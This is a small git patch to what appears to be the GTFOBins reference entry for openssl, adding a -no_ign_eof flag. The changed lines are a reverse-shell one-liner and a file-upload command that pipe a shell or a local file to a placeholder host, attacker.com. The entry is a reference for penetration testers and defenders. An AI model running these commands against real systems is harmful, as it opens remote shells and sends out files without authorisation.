From 60af77428871e806695f85601d8a85f97bb53ac4 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 6 Mar 2019 13:54:16 +0100 Subject: [PATCH] Add -no_ign_eof to exit nicely when possible to openssl --- _gtfobins/openssl.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_gtfobins/openssl.md b/_gtfobins/openssl.md index e3e77d0..7e0e424 100644 --- a/_gtfobins/openssl.md +++ b/_gtfobins/openssl.md @@ -11,7 +11,7 @@ functions: code: | RHOST=attacker.com RPORT=12345 - mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s + mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s file-upload: - description: | To collect the file run the following on the attacker box: @@ -24,7 +24,7 @@ functions: RHOST=attacker.com RPORT=12345 LFILE=file_to_send - openssl s_client -quiet -connect $RHOST:$RPORT < "$LFILE" + openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT < "$LFILE" file-download: - description: | To send the file run the following on the attacker box: